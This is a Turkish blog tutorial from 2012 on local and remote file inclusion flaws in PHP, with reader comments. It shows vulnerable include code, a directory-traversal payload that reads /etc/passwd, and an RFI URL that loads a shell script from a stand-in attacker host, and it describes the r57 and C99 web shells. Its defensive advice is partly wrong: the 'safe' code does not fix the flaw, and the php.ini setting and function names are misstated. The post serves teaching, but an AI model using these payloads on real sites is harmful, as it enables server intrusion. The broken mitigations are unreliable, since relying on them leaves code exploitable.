twitterlinkedinemail

7 Ekim 2012 Pazar

PHP'de RFI ve LFI Açıklıkları nedir? ne değildir?


Merhaba. Bu blog yazımızda dilim döndüğünce sizlere PHP web programlama dilinde meydana gelen RFI ve LFI açıklıklarından bahsedeceğim. Php kod tarafında bu açıklar nasıl meydana geliyor? etkileri nedir? ve nelerle sonuçlanır? bunları inceleyeceğiz.
File Inclusion : Dosya ekleme olarak tabir edilebilen bir zayıflıktır. File Inclusion saldırıları, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır. Kötü niyetli saldırganın, yerel (local) ve uzaktan (remote) kod çalıştırmasına olanak sağlar.
LFI (Local File Inclusion) : Yerelden dosya ekleyerek kod çalıştırmaktır.
RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod çalıştırmaktır.
PHP web programlama dili ile kodlanmış uygulamalarda, yazılımcıların tanımladıkları değişkene değer atamaması veya atanan değerlerin filtrelenmemesinden kaynaklanmaktadır. Aşağıdaki örnek kod satırları ile detayları uygulamalı olarak inceleyelim;

LFI (Local File Inclusion) Örneği
index.php dosyası:
<?php
include($_GET['sayfa'])
?>
Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:
index.php?sayfa=haberler.php
index.php?sayfa=iletisim.php
En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:
* index.php?sayfa=../../../../../../../../../etc/passwd
Yukarıdaki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun /etc/passwd içeriğini yani user listesini ekrana yazdırır:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…..
RFI (Remote File Inclusion) Örneği
index2.php dosyası:
include(“$duyurular/guncel/duyuru.php”);
Bu satırdaki “$” işareti bulunan parametreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.
http://www.hedef.com/index2.php?duyurular=http://saldirgan.com/shell.txt?
Yukarıdaki şekilde, http://saldirgan.com/shell.txt? adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.
Bu noktada saldırgan yönlendirilen alanda shell ve listpatch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57, C99 ve veryasyonlarıdır…
Mesela R57 Shell’inin özelliklerine bir değinelim…
R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma&bağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.
Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemler yapılabilir.
Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır.

– KORUNMA YÖNTEMLERİ –

Yöntem 1
Yazılan kodların RFI açıklarına karşı kontrol edilmesi.

Zayıf Kod:
<?php
include ($ornek. ‘../index.php’);
?>
Güvenli Kod:
<?php
$ornek= ‘veri’;
include ($ornek. ‘../index.php’);
?>
örnek değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamızı sağlayacaktır.

Yöntem 2
php.ini
/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptçiklerinin etkisiz kalmaları sağlanabilir:
disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice

Umarım faydalı olmuştur, güvenli kod yazmalar herkese… :)

3 yorum:

  1. Teşekkürler, aydınlattın bizi :)

    YanıtlaSil
  2. Selamlar ,rfı açığında olan kullanımınız hatalıdır bilginize.
    include(“$duyurular/guncel/duyuru.php”);

    Böyle bir kullanım olamaz $duyurular değişkeninde get ,post veya session tanımlı olmalıdır ki kullanıcı oraya erişebilsin.

    YanıtlaSil
    Yanıtlar
    1. Merhaba,

      Haklısınız. Ancak kod bloğunun tamamını değil sadece açıklığı göstermek amacıyla sadece o kısım eklenmiştir.

      İyi çalışmalar.

      Sil